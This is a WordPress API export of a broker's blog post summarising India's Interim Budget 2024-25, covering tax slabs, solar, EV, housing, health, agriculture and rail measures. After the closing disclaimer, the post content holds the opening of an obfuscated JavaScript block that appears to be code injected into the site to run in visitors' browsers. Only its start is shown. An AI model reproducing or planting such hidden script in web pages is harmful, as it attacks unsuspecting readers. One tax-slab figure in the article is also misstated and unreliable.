{"id":6537,"date":"2024-02-02T07:41:15","date_gmt":"2024-02-02T07:41:15","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6537"},"modified":"2024-10-25T07:10:07","modified_gmt":"2024-10-25T07:10:07","slug":"interim-budget-2024-key-highlights","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/","title":{"rendered":"Interim Budget 2024: A Comprehensive Overview"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#What_Changes_Did_Interim_Budget_Propose_for_Salaried_Class\" >What Changes Did Interim Budget Propose for Salaried Class?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Budget_2024_Tech_Sector_Announcements\" >Budget 2024: Tech Sector Announcements<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Interim_Budget_2024_Key_Highlights\" >Interim Budget 2024: Key Highlights<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Skill_Development\" >Skill Development<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#What_is_the_Lakhpati_Didi_scheme\" >What is the Lakhpati Didi scheme?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Affordable_Housing\" >Affordable Housing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Healthcare_Initiatives\" >Healthcare Initiatives<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Agricultural_Policies\" >Agricultural Policies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Self-Reliance_in_Agriculture\" >Self-Reliance in Agriculture<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Fisheries_Development\" >Fisheries Development<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Rail_Transportation_Upgrades\" >Rail Transportation Upgrades<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Environment_and_Sustainability\" >Environment and Sustainability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Infrastructure_Investment\" >Infrastructure Investment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Fiscal_Management\" >Fiscal Management<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Budget_2024_Achievements\" >Budget 2024: Achievements<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Inflation_Control_and_Economic_Growth\" >Inflation Control and Economic Growth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Poverty_Alleviation_and_Food_Security\" >Poverty Alleviation and Food Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Direct_Benefit_Transfers\" >Direct Benefit Transfers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Support_for_Artisans_and_Street_Vendors\" >Support for Artisans and Street Vendors<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Interim Budget 2024: A Comprehensive Overview<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Interim Union Budget for the financial year 2024-25 was recently presented in the Parliament by Finance Minister Nirmala Sitharaman. This marks the sixth budget under the current Finance Minister and the final one of Prime Minister Narendra Modi&#8217;s second term.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>The interim budget 2024-25 is a temporary financial plan covering the government expenditures until the new government takes over.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Budget 2024 focuses on important areas like sustainable technology, supporting workers and small businesses, and improving infrastructure, healthcare, agriculture, renewable energy, and transportation.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-changes-did-interim-budget-propose-for-salaried-class-\"><span class=\"ez-toc-section\" id=\"What_Changes_Did_Interim_Budget_Propose_for_Salaried_Class\"><\/span><strong>What Changes Did Interim Budget Propose for Salaried Class?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The government has decided to maintain the existing direct and indirect taxation rates.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Income tax slabs remain unchanged, with Sitharaman stating that the current taxation policy will continue.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Under the old tax regime, no tax is imposed on annual income below Rs 2.5 lakh.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A 5 percent tax is levied on income between Rs 2.5 lakh and Rs 5 lakh, 20 percent on Rs 5-10 lakh, and 30 percent on those earning over Rs 30 lakh annually.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Know the <a href=\"https:\/\/shoonya.com\/blog\/new-vs-old-tax-regime\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">difference between an old and a new tax regime<\/mark><\/a>, and which is better?<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-budget-2024-tech-sector-announcements\"><span class=\"ez-toc-section\" id=\"Budget_2024_Tech_Sector_Announcements\"><\/span>Budget 2024: Tech Sector Announcements<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Solar Panel Scheme<\/strong>: To promote solarisation, the Finance Minister revealed plans to provide up to 300 units of free electricity monthly to one crore households, echoing Prime Minister Narendra Modi&#8217;s commitment made during the Ayodhya Ram Mandir consecration on January 22.<\/li>\n\n\n\n<li><strong>EVs<\/strong>: The government will expand the electric vehicle (EV) ecosystem by enhancing manufacturing and charging infrastructure support.&nbsp;<\/li>\n<\/ol>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Private Sector<\/strong>: A substantial corpus of Rs. 1 lakh Cr. will be allocated for long-term financing or refinancing, extending up to 50 years with negligible or no interest rates.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This initiative aims to catalyse research and innovation within the private sector by leveraging the potential of youth and technology.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-interim-budget-2024-key-highlights-\"><span class=\"ez-toc-section\" id=\"Interim_Budget_2024_Key_Highlights\"><\/span><strong>Interim Budget 2024: Key Highlights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are the various announcements made in the budget 2024 to drive the nation towards its goal of becoming \u2018Viksit Bharat\u2019 by 2047.<strong><br><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-skill-development\"><span class=\"ez-toc-section\" id=\"Skill_Development\"><\/span>Skill Development<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Over 1.4 crore youth have been trained under the Skill India Mission.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Additionally, 43 crore loans have been sanctioned under PM Mudra Yojana.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The &#8216;Lakhpati Didi&#8217; scheme will be expanded to empower rural women and enhance the rural economy.&nbsp;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"4-what-is-the-lakhpati-didi-scheme\"><span class=\"ez-toc-section\" id=\"What_is_the_Lakhpati_Didi_scheme\"><\/span>What is the Lakhpati Didi scheme?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The Lakhpati Didi scheme is a government initiative aimed at providing skill training to two crore women nationwide. Initially launched in select states, the scheme now aims for a broader implementation nationwide.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Through this program, women receive training in a variety of practical skills tailored to meet the needs of emerging industries.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"5-affordable-housing\"><span class=\"ez-toc-section\" id=\"Affordable_Housing\"><\/span>Affordable Housing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Government plans to subsidise the construction of 30 million affordable houses in rural areas.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-healthcare-initiatives\"><span class=\"ez-toc-section\" id=\"Healthcare_Initiatives\"><\/span>Healthcare Initiatives<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Cervical cancer vaccination will be encouraged, and maternal and child health care schemes will be merged into a comprehensive program.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Additionally, the aim is to expand the Ayushman Bharat scheme to include all ASHA workers, Anganwadi workers, and helpers.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-agricultural-policies\"><span class=\"ez-toc-section\" id=\"Agricultural_Policies\"><\/span>Agricultural Policies<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Government will promote the use of \u2018Nano DAP\u2019 for various crops and expand its application to all agro-climactic zones.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Policies to support dairy farmers and combat Foot and Mouth Disease.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-self-reliance-in-agriculture\"><span class=\"ez-toc-section\" id=\"Self-Reliance_in_Agriculture\"><\/span>Self-Reliance in Agriculture<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A strategy will be formulated to achieve AtmaNirbharta (self-reliance) in oilseeds, covering research, procurement, value addition, and crop insurance.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-fisheries-development\"><span class=\"ez-toc-section\" id=\"Fisheries_Development\"><\/span>Fisheries Development<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A new department, <a href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-matsya-sampada-yojana\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Matsya Sampada<\/mark><\/a>, will be established to address the needs of fishermen.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-rail-transportation-upgrades\"><span class=\"ez-toc-section\" id=\"Rail_Transportation_Upgrades\"><\/span>Rail Transportation Upgrades<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">40,000 normal rail bogeys will be converted to Vande Bharat standards, focusing on enhancing safety and convenience for passengers. The Government will also prioritize metros to facilitate transit-oriented development.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11-environment-and-sustainability\"><span class=\"ez-toc-section\" id=\"Environment_and_Sustainability\"><\/span>Environment and Sustainability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Government has announced several schemes to achieve Net Zero by 2070, including funding for offshore wind energy generation, procurement of biomass aggregation machinery, and expansion of the e-vehicle sector.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"12-infrastructure-investment\"><span class=\"ez-toc-section\" id=\"Infrastructure_Investment\"><\/span>Infrastructure Investment<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The government has increased the capital expenditure to \u20b911.11 lakh crore for 2024-25 to boost the overall development.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"13-fiscal-management\"><span class=\"ez-toc-section\" id=\"Fiscal_Management\"><\/span>Fiscal Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Efforts will continue towards fiscal consolidation to reduce the fiscal deficit to 4.5% in 2025-26.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-budget-2024-achievements\"><span class=\"ez-toc-section\" id=\"Budget_2024_Achievements\"><\/span>Budget 2024: Achievements<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Here are certain government achievements discussed in the budget 2024:<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"15-inflation-control-and-economic-growth\"><span class=\"ez-toc-section\" id=\"Inflation_Control_and_Economic_Growth\"><\/span>Inflation Control and Economic Growth<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Inflation has moderated and remains within the target band of 2%-6%. Economic growth has accelerated, leading to a 50% increase in people&#8217;s average real income.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"16-poverty-alleviation-and-food-security-\"><span class=\"ez-toc-section\" id=\"Poverty_Alleviation_and_Food_Security\"><\/span><strong>Poverty Alleviation and Food Security<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">FM Sitharaman highlighted the Government&#8217;s achievement of pulling 25 crore people out of poverty in ten years.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Additionally, she mentioned that the government has provided free food for 80 crore people through various schemes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"17-direct-benefit-transfers\"><span class=\"ez-toc-section\" id=\"Direct_Benefit_Transfers\"><\/span>Direct Benefit Transfers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The PM Jan Dhan Yojana accounts have facilitated Direct Benefit Transfers amounting to Rs. 34 lakh crore, resulting in savings of \u20b92.7 lakh crore.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"18-support-for-artisans-and-street-vendors\"><span class=\"ez-toc-section\" id=\"Support_for_Artisans_and_Street_Vendors\"><\/span>Support for Artisans and Street Vendors<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The PM Vishwakarma Yojana offers comprehensive support to artisans, while credit assistance has been provided to 78 lakh street vendors under the PM-SVANidhi scheme.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Moreover, 30 crore Mudra Yojana loans have been disbursed to women entrepreneurs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Stay tuned for the whole budget for 2024, which is speculated to be announced in July after the formation of the new government following the Lok Sabha elections in 2024.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"19-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Interim budget 2024 outlines significant strides towards national development, emphasizing skill enhancement, regional growth, and environmental sustainability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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This marks the sixth budget under the current Finance Minister and the final one of Prime Minister Narendra Modi&#8217;s second term. The interim budget 2024-25 is a temporary financial plan covering the government expenditures until &hellip; <a href=\"https:\/\/shoonya.com\/blog\/interim-budget-2024-key-highlights\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Interim Budget 2024: A Comprehensive Overview&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":6538,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[3165,3194,3162],"class_list":["post-6537","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-budget-2024","tag-budget-2024-key-highlights","tag-interim-budget-2024"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Interim 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